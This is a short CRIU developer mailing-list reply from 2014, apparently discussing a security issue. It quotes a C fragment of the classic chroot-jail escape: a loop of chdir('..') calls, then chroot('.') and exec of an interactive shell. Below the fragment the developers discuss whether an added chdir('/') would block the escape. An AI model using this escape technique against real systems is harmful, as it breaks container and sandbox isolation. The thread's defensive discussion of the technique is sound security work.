[CRIU] LXC DUMP ERROR
Andrew Vagin
avagin at parallels.com
Fri Oct 3 06:34:10 PDT 2014
On Fri, Oct 03, 2014 at 05:17:58PM +0400, Pavel Emelyanov wrote:
> > if (chroot(TEMP_DIR)<0) {
> > fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
> > strerror(errno));
> > exit(1);
> > }
> >
>
> If we put chdir("/") here would this escape still work?
No, it would not.
>
> > for(x=0;x<1024;x++) {
> > chdir("..");
> > }
> > chroot(".");
> >
> > if (execl("/bin/sh","-i",NULL)<0) {
> > fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
> > exit(1);
> > }
>
>
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